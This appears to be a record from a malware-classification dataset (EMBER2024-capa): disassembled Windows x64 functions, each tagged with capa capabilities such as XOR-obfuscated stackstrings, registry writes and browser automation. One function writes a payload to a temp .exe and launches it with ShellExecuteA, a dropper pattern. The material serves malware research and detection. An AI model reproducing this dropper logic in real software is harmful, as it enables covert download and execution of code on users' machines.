joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140019f80
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x5c30], 0
lea rbx, [rcx + 0x5c38]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x14001a027
mov r9d, dword [rbx + 4]
mov qword [rsp + 0x30], r14
xor r14d, r14d
test r9d, r9d
jns 0x140019fda
mov eax, r9d
mov rcx, rbx
cdq
sub eax, edx
mov edx, r14d
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.14001c350
mov r8, rsi
mov dword [rbx], r14d
mov rdx, rbp
mov rcx, rbx
call fcn.140005c20
mov eax, dword [rbx]
mov edx, 1
mov r9, qword [rdi + 0x5c30]
test eax, eax
lea ecx, [rax - 1]
mov rax, qword [rdi + 0x5c40]
cmove ecx, r14d
test rax, rax
movsxd r8, ecx
lea rcx, [0x14007ee58]
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r14, qword [rsp + 0x30]
jmp 0x14001a02f
mov rcx, rbx
call fcn.140005c20
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x14001a5a0
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 8
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10, qword [0x14007ee60]
mov r11d, 0xffffffff
mov eax, r11d
test r9b, r9b
je 0x14001a603
mov qword [rsp], rbx
lea rbx, [0x140041720]
nop dword [rax]
cmp r9b, 0x23
jne 0x14001a5e3
cmp byte [r8], r9b
jne 0x14001a5e3
cmp byte [r8 + 1], r9b
cmove eax, r11d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [rbx + rdx*4]
test r9b, r9b
jne 0x14001a5d0
mov rbx, qword [rsp]
movsxd rcx, dword [r10 + 0x5ba8]
xor r8d, r8d
not eax
test ecx, ecx
jle 0x14001a637
mov r10, qword [r10 + 0x5bb0]
mov r9, rcx
mov edx, r8d
lea rcx, [r10 + 8]
cmp dword [rcx], eax
je 0x14001a63e
inc r8d
inc rdx
add rcx, 0x48
cmp rdx, r9
jl 0x14001a624
xor eax, eax
add rsp, 8
ret
movsxd rax, r8d
lea rcx, [rax + rax*8]
lea rax, [r10 + rcx*8]
add rsp, 8
ret
Function at 0x140039eb0
Capabilities:
Hash data using fnv

Disassembly:
push rdi
sub rsp, 0x20
movabs rax, 0xfffffffffffffff
mov edi, 1
bsr rcx, rax
mov eax, edi
shl rax, cl
cmp rdx, rax
jbe 0x140039ee1
lea rcx, str.invalid_hash_bucket_count
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const____ptr64_]
int3
lea rax, [rdx - 1]
mov qword [rsp + 0x30], rbx
mov rbx, qword [0x14007ef98]
or rax, rdi
bsr rcx, rax
mov r8, rbx
inc ecx
shl rdi, cl
lea rcx, [0x14007efa8]
lea rdx, [rdi + rdi]
call fcn.140039a70
mov rax, qword [0x14007ef98]
lea r9, [rdi - 1]
mov qword [0x14007efc0], r9
mov qword [0x14007efc8], rdi
mov rax, qword [rax]
mov rcx, rax
cmp rax, rbx
je 0x14003a054
mov qword [rsp + 0x40], rsi
movabs rdi, 0x100000001b3
movabs rsi, 0xcbf29ce484222325
movzx edx, byte [rax + 0x11]
movzx r11d, byte [rax + 0x10]
mov rcx, qword [rcx]
xor r11, rsi
imul r11, rdi
xor r11, rdx
movzx edx, byte [rax + 0x12]
imul r11, rdi
xor r11, rdx
movzx edx, byte [rax + 0x13]
imul r11, rdi
xor r11, rdx
imul r11, rdi
and r11, r9
shl r11, 4
add r11, qword [0x14007efa8]
mov r9, qword [r11]
cmp r9, rbx
jne 0x140039fa0
mov qword [r11], rax
mov qword [r11 + 8], rax
jmp 0x14003a015
mov rdx, qword [r11 + 8]
mov r8d, dword [rax + 0x10]
cmp r8d, dword [rdx + 0x10]
jne 0x140039fdd
mov r10, qword [rdx]
cmp r10, rax
je 0x140039fd7
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
mov qword [r11 + 8], rax
jmp 0x14003a015
cmp r9, rdx
je 0x140039ff1
mov rdx, qword [rdx + 8]
cmp r8d, dword [rdx + 0x10]
je 0x14003a029
cmp r9, rdx
jne 0x140039fe2
mov r10, qword [rax + 8]
mov qword [r10], rcx
mov r9, qword [rcx + 8]
mov qword [r9], rdx
mov r8, qword [rdx + 8]
mov qword [r8], rax
mov qword [rdx + 8], r9
mov qword [rcx + 8], r10
mov qword [rax + 8], r8
mov qword [r11], rax
mov rax, rcx
cmp rcx, rbx
je 0x14003a04f
mov r9, qword [0x14007efc0]
jmp 0x140039f51
mov r10, qword [rdx]
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
jmp 0x14003a015
mov rsi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x14003e560
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14003e5aa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14003e5aa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14003e5aa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14003e5aa
cmp dword [rcx + 0x84], 0xe
jbe 0x14003e5aa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14003e5ac
xor al, al
add rsp, 0x28
ret
Function at 0x14000720c
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
call fcn.14000719c
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateThread]
lea rcx, [0x140021170]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400205b8]
jmp 0x140007248
cmp qword [rbx + 0x18], rdi
je 0x14000724f
mov rbx, qword [rbx]
test rbx, rbx
jne 0x14000723f
jmp 0x140007269
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbx + 0x10]
lea rcx, [0x1400205b8]
call fcn.140011c68
lea rcx, [0x140021170]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
pop rax
pushfq
prefetcht2 byte [rax - 0x64]
seta byte [rax - 0x64]
psubb mm3, qword [rax - 0x64]
paddd mm3, qword [rax - 0x64]
paddd mm3, qword [rax - 0x64]
paddd mm3, qword [rax - 0x64]
paddd mm3, qword [rcx - 0x63]
adc bh, bh
pop rax
pushfq
paddd mm3, qword [rax - 0x64]
paddd mm3, qword [rax - 0x64]
paddd mm3, qword [rax - 0x64]
paddd mm3, qword [rax - 0x64]
paddd mm3, qword [rax - 0x64]
paddd mm3, qword [rax - 0x64]
paddd mm3, qword [rax - 0x64]
paddd mm2, qword [rdi - 0x67]
ud0
Function at 0x140001000
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0x90
mov ebx, 0x726e
mov dword [rbp - 0x39], 0x721a7206
mov ecx, 0x66
mov dword [rbp + 0x2b], ebx
mov dword [rbp - 0x35], 0x721e721a
mov dword [rbp - 0x31], 0x7254721d
mov dword [rbp - 0x2d], 0x72417241
mov dword [rbp - 0x29], 0x72027209
mov dword [rbp - 0x25], 0x720c7201
mov dword [rbp - 0x21], 0x7202720f
mov dword [rbp - 0x1d], 0x72077218
mov dword [rbp - 0x19], 0x7219720b
mov dword [rbp - 0x15], 0x7200721d
mov dword [rbp - 0x11], 0x721a720f
mov dword [rbp - 0xd], 0x721c721b
mov dword [rbp - 9], 0x7240720b
mov dword [rbp - 5], 0x7201720d
mov dword [rbp - 1], 0x72417203
mov dword [rbp + 3], 0x7200720f
mov dword [rbp + 7], 0x7202720f
mov dword [rbp + 0xb], 0x721a7217
mov dword [rbp + 0xf], 0x720d7207
mov dword [rbp + 0x13], 0x7241721d
mov dword [rbp + 0x17], 0x720d721d
mov dword [rbp + 0x1b], 0x7207721c
mov dword [rbp + 0x1f], 0x721a721e
mov dword [rbp + 0x23], 0x721e7240
mov dword [rbp + 0x27], 0x721e7206
mov dword [rbp + 0x2f], 0x8dc1726e
call fcn.1400026b0
lea r9, [rbp - 0x39]
mov rdx, rax
sub r9, rax
mov r8d, 0x33
mov ecx, ebx
xor cx, word [r9 + rdx]
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x1400010fb
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret

Function at 0x140001130
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ecx, reloc.OLEAUT32.dll_SafeArrayGetElement
mov dword [rbp - 0x20], 0x72727226
mov dword [rbp - 0x1c], 0x72767261
mov ebx, 0x7204
mov dword [rbp - 0x18], 0x726d7277
mov dword [rbp - 0x14], 0x726a726b
mov dword [rbp - 0x10], 0x723e7226
mov dword [rbp - 0xc], 0x72047226
mov dword [rbp - 8], 0x8dc17204
call fcn.1400026b0
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
mov r8d, 0xc
mov ecx, ebx
xor cx, word [r9 + rdx]
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14000118d
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret

Function at 0x1400011ac
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, 0x72f4
mov dword [rbp - 0x30], 0x728772d6
mov ecx, 0x22
mov dword [rbp - 0x10], ebx
mov dword [rbp - 0x2c], 0x72867291
mov dword [rbp - 0x28], 0x7295729d
mov dword [rbp - 0x24], 0x72d67298
mov dword [rbp - 0x20], 0x72d672ce
mov dword [rbp - 0x1c], 0x72c472d1
mov dword [rbp - 0x18], 0x72ac72cc
mov dword [rbp - 0x14], 0x72d872d6
mov dword [rbp - 0xc], 0x8dc172f4
call fcn.1400026b0
lea r9, [rbp - 0x30]
mov rdx, rax
sub r9, rax
mov r8d, 0x11
mov ecx, ebx
xor cx, word [r9 + rdx]
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14000121a
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
Function at 0x14000123c
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, 0x7208
mov dword [rbp - 0x30], 0x727b722a
mov ecx, 0x26
mov dword [rbp - 0xc], ebx
mov dword [rbp - 0x2c], 0x72617263
mov dword [rbp - 0x28], 0x72577278
mov dword [rbp - 0x24], 0x7261727b
mov dword [rbp - 0x20], 0x7266726f
mov dword [rbp - 0x1c], 0x727c7269
mov dword [rbp - 0x18], 0x727a727d
mov dword [rbp - 0x14], 0x722a726d
mov dword [rbp - 0x10], 0x722a7232
mov dword [rbp - 8], 0x8dc17208
call fcn.1400026b0
lea r9, [rbp - 0x30]
mov rdx, rax
sub r9, rax
mov r8d, SafeArrayGetElement
mov ecx, ebx
xor cx, word [r9 + rdx]
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x1400012b1
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret

Function at 0x1400012d0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x70
mov ecx, 0x48
mov dword [rbp - 0x50], 0x72617222
mov dword [rbp - 0x4c], 0x72707270
mov ebx, 0x7200
mov dword [rbp - 0x48], 0x72617264
mov dword [rbp - 0x44], 0x72617274
mov dword [rbp - 0x40], 0x7263725f
mov dword [rbp - 0x3c], 0x72657272
mov dword [rbp - 0x38], 0x72747261
mov dword [rbp - 0x34], 0x726f7269
mov dword [rbp - 0x30], 0x725f726e
mov dword [rbp - 0x2c], 0x72697274
mov dword [rbp - 0x28], 0x7265726d
mov dword [rbp - 0x24], 0x723a7222
mov dword [rbp - 0x20], 0x72257222
mov dword [rbp - 0x1c], 0x72387230
mov dword [rbp - 0x18], 0x72257258
mov dword [rbp - 0x14], 0x72387230
mov dword [rbp - 0x10], 0x72227258
mov dword [rbp - 0xc], 0x7200722c
mov dword [rbp - 8], 0x8dc17200
call fcn.1400026b0
lea r9, [rbp - 0x50]
mov rdx, rax
sub r9, rax
mov r8d, 0x24
mov ecx, ebx
xor cx, word [r9 + rdx]
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140001381
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rbp
ret
Function at 0x1400013a4
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0x90
mov ebx, 0x7271
mov dword [rbp - 0x39], 0x72057219
mov ecx, 0x66
mov dword [rbp + 0x2b], ebx
mov dword [rbp - 0x35], 0x72017205
mov dword [rbp - 0x31], 0x724b7202
mov dword [rbp - 0x2d], 0x725e725e
mov dword [rbp - 0x29], 0x72107212
mov dword [rbp - 0x25], 0x721d7203
mov dword [rbp - 0x21], 0x721b7202
mov dword [rbp - 0x1d], 0x7204721e
mov dword [rbp - 0x19], 0x721f7203
mov dword [rbp - 0x15], 0x721d7210
mov dword [rbp - 0x11], 0x7214721c
mov dword [rbp - 0xd], 0x72187215
mov dword [rbp - 9], 0x725f7210
mov dword [rbp - 5], 0x721e7212
mov dword [rbp - 1], 0x725e721c
mov dword [rbp + 3], 0x721f7210
mov dword [rbp + 7], 0x721d7210
mov dword [rbp + 0xb], 0x72057208
mov dword [rbp + 0xf], 0x72127218
mov dword [rbp + 0x13], 0x725e7202
mov dword [rbp + 0x17], 0x72127202
mov dword [rbp + 0x1b], 0x72187203
mov dword [rbp + 0x1f], 0x72057201
mov dword [rbp + 0x23], 0x7201725f
mov dword [rbp + 0x27], 0x72017219
mov dword [rbp + 0x2f], 0x8dc17271
call fcn.1400026b0
lea r9, [rbp - 0x39]
mov rdx, rax
sub r9, rax
mov r8d, 0x33
mov ecx, ebx
xor cx, word [r9 + rdx]
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14000149f
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x140001afc
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ecx, SafeArrayGetElement
mov dword [rbp - 0x20], 0x72647269
mov dword [rbp - 0x1c], 0x7222723d
mov ebx, 0x7200
mov dword [rbp - 0x18], 0x72617264
mov dword [rbp - 0x14], 0x72617274
mov dword [rbp - 0x10], 0x72007222
mov dword [rbp - 0xc], 0x8dc17200
call fcn.1400026b0
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
mov r8d, 0xa
mov ecx, ebx
xor cx, word [r9 + rdx]
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140001b52
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret

Function at 0x140001b74
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
movdqa xmm0, xmmword [0x140011470]
mov ebx, 0x2a
movdqa xmm1, xmmword [0x140011460]
mov ecx, ebx
movdqu xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x10], 0xeafdeaf7
movdqu xmmword [rbp - 0x20], xmm1
mov dword [rbp - 0xc], 0xf1f9d5c4
mov dword [rbp - 8], 0x98f6
mov dword [rbp - 4], 0x8dc17298
call fcn.1400026b0
lea r8, [rbp - 0x30]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, 0x98
mov byte [rdx], cl
inc rdx
sub rbx, 1
jne 0x140001bcd
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret

Function at 0x140001bec
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, 0x72f9
mov dword [rbp - 0x30], 0x728a72c5
mov ecx, 0x26
mov dword [rbp - 0xc], ebx
mov dword [rbp - 0x2c], 0x72987289
mov dword [rbp - 0x28], 0x72c77297
mov dword [rbp - 0x24], 0x729e7297
mov dword [rbp - 0x20], 0x72977290
mov dword [rbp - 0x1c], 0x72c57281
mov dword [rbp - 0x18], 0x728a72d6
mov dword [rbp - 0x14], 0x72987289
mov dword [rbp - 0x10], 0x72c77297
mov dword [rbp - 8], 0x8dc172f9
call fcn.1400026b0
lea r9, [rbp - 0x30]
mov rdx, rax
sub r9, rax
mov r8d, SafeArrayGetElement
mov ecx, ebx
xor cx, word [r9 + rdx]
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140001c61
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret

Function at 0x140001c80
Capabilities:
Reference http user-agent string

Disassembly:
mov rax, rsp
sub rsp, 0x228
lea r8, [rax + 8]
mov dword [rax + 8], 0x200
lea rdx, [rsp + 0x20]
xor ecx, ecx
call sub.urlmon.dll_ObtainUserAgentString
test eax, eax
jns 0x140001ca9
xor eax, eax
jmp 0x140001cb3
lea rcx, [rsp + 0x20]
call fcn.1400079f0
add rsp, 0x228
ret
Function at 0x140001cbc
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x150]
sub rsp, 0x250
and qword [rbp + 0x180], 0
lea r8, [rbp + 0x180]
movsxd rdx, edx
call fcn.14000a534
lea rdx, [rsp + 0x40]
mov ecx, 0x104
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rcx, [rbp + 0x188]
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov r8d, dword [rbp + 0x188]
lea rdx, str._08X.exe
lea rcx, [rbp + 0x50]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rdx, [rbp + 0x50]
lea rcx, [rsp + 0x40]
call fcn.140007ae4
and qword [rsp + 0x30], 0
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rcx, qword [rbp + 0x180]
xor ebx, ebx
and dword [rbp + 0x178], ebx
mov rdi, rax
xor edx, edx
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x178]
sub ecx, ebx
add rdx, rsi
mov r8d, ecx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140001da6
add ebx, dword [rbp + 0x178]
mov rcx, qword [rbp + 0x180]
mov edx, ebx
cmp rdx, rcx
jb 0x140001d70
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x28], 1
lea r8, [rsp + 0x40]
and qword [rsp + 0x20], 0
lea rdx, str.open
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rbx, qword [rsp + 0x270]
add rsp, 0x250
pop rdi
pop rsi
pop rbp
ret

Function at 0x140001de8
Capabilities:
Encode data using add xor sub operations
Encode data using xor
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x70
xor edi, edi
lea rcx, [rbp + 0x20]
mov qword [rbp + 0x28], rdi
call fcn.140001b74
mov qword [rsp + 0x40], rdi
mov rdx, rax
lea rax, [rbp + 0x28]
xor r9d, r9d
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov qword [rsp + 0x30], rdi
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], edi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x140001e46
xor al, al
jmp 0x140001ed9
movdqa xmm0, xmmword [0x140011450]
xor eax, eax
mov esi, 1
mov dword [rbp - 0x10], 0xcdd6d1d7
mov dword [rbp + 0x20], esi
movdqu xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0xc], 0xc7d8cbcf
lea ebx, [rsi + 0x18]
mov byte [rbp - 8], 0xa2
mov ecx, ebx
mov word [rbp - 7], ax
mov byte [rbp - 5], al
mov dword [rbp - 4], 0x8dc172a2
call fcn.1400026b0
lea r8, [rbp - 0x20]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, 0xa2
mov byte [rdx], cl
add rdx, rsi
sub rbx, rsi
jne 0x140001e91
lea r9d, [rbx + 4]
xor r8d, r8d
lea rcx, [rbp + 0x20]
mov dword [rsp + 0x28], r9d
mov qword [rsp + 0x20], rcx
mov rdx, rax
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0x28]
test eax, eax
movzx ebx, dil
cmove ebx, esi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
mov rbx, qword [rsp + 0xa0]
add rsp, 0x70
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001eec
Capabilities:
Initialize iwebbrowser2

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xa0
movsxd rbx, r8d
mov rsi, rdx
mov r14, rcx
xor dil, dil
call fcn.140001de8
mov edx, 6
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
lea rcx, [rbp + 0x27]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
and qword [rbp - 0x29], 0
lea rax, [rbp - 0x29]
xor edx, edx
mov qword [rsp + 0x20], rax
lea r9, [0x140012288]
lea rcx, [0x140012298]
lea r8d, [rdx + 0x15]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x140002121
mov rcx, r14
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ecx, 0x11
mov r8d, ebx
mov r14, rax
xor edx, edx
mov eax, 0x2011
mov word [rbp + 0xf], ax
call qword [sym.imp.OLEAUT32.dll_SafeArrayCopyData]
and qword [rbp - 1], 0
lea rdx, [rbp - 1]
mov rcx, rax
mov qword [rbp + 0x17], rax
call qword [sym.imp.OLEAUT32.dll_SafeArrayUnaccessData]
mov rcx, qword [rbp - 1]
mov r8, rbx
mov rdx, rsi
call fcn.14000262c
mov rcx, qword [rbp + 0x17]
call qword [sym.imp.OLEAUT32.dll_SafeArrayGetElement]
mov rcx, qword [rbp - 0x29]
lea rdx, [rbp + 0x27]
mov qword [rsp + 0x28], rdx
lea r9, [rbp + 0x27]
lea rdx, [rbp + 0xf]
mov qword [rsp + 0x20], rdx
lea r8, [rbp + 0x27]
mov rax, qword [rcx]
mov rdx, r14
call qword [rax + 0x58]
test eax, eax
js 0x140002104
jmp 0x140001fe9
cmp dword [rbp - 0x21], 4
je 0x140002003
mov rcx, qword [rbp - 0x29]
lea rdx, [rbp - 0x21]
mov rax, qword [rcx]
call qword [rax + 0x1c0]
test eax, eax
jns 0x140001fe3
jmp 0x140002104
mov rcx, qword [rbp - 0x29]
lea rdx, [rbp - 9]
and qword [rbp - 9], 0
mov rax, qword [rcx]
call qword [rax + 0x90]
test eax, eax
js 0x140002104
mov rcx, qword [rbp - 9]
test rcx, rcx
je 0x140002104
and qword [rbp + 7], 0
lea r8, [rbp + 7]
mov rax, qword [rcx]
lea rdx, [0x1400122a8]
call qword [rax]
test eax, eax
js 0x1400020fa
mov rcx, qword [rbp + 7]
lea rdx, [rbp - 0x11]
and qword [rbp - 0x11], 0
mov rax, qword [rcx]
call qword [rax + 0x48]
test eax, eax
js 0x1400020fa
mov rcx, qword [rbp - 0x11]
lea rdx, [rbp - 0x19]
and qword [rbp - 0x19], 0
mov rax, qword [rcx]
call qword [rax + 0x1d0]
mov rbx, qword [rbp - 0x19]
lea rcx, [rbp + 0x7f]
call fcn.140001bec
mov rdx, rax
mov rcx, rbx
call fcn.140007e64
test rax, rax
je 0x1400020f0
mov rbx, qword [rbp - 0x19]
lea rcx, [rbp + 0x7f]
mov dil, 1
call fcn.140001afc
mov rdx, rax
mov rcx, rbx
call fcn.140007e64
test rax, rax
je 0x1400020f0
lea rdx, str.____
mov rcx, rax
call fcn.140007e64
lea rdx, [0x140011428]
lea rbx, [rax + 2]
mov rcx, rbx
call fcn.140007e64
sub rax, rbx
sar rax, 1
cmp eax, 0x20
jle 0x1400020f0
mov edx, eax
mov rcx, rbx
call fcn.140001cbc
mov rcx, qword [rbp - 0x11]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 9]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x29]
mov rdx, qword [rcx]
call qword [rdx + 0x70]
mov rcx, r14
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rbp - 0x29]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
lea r11, [rsp + 0xa0]
mov al, dil
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret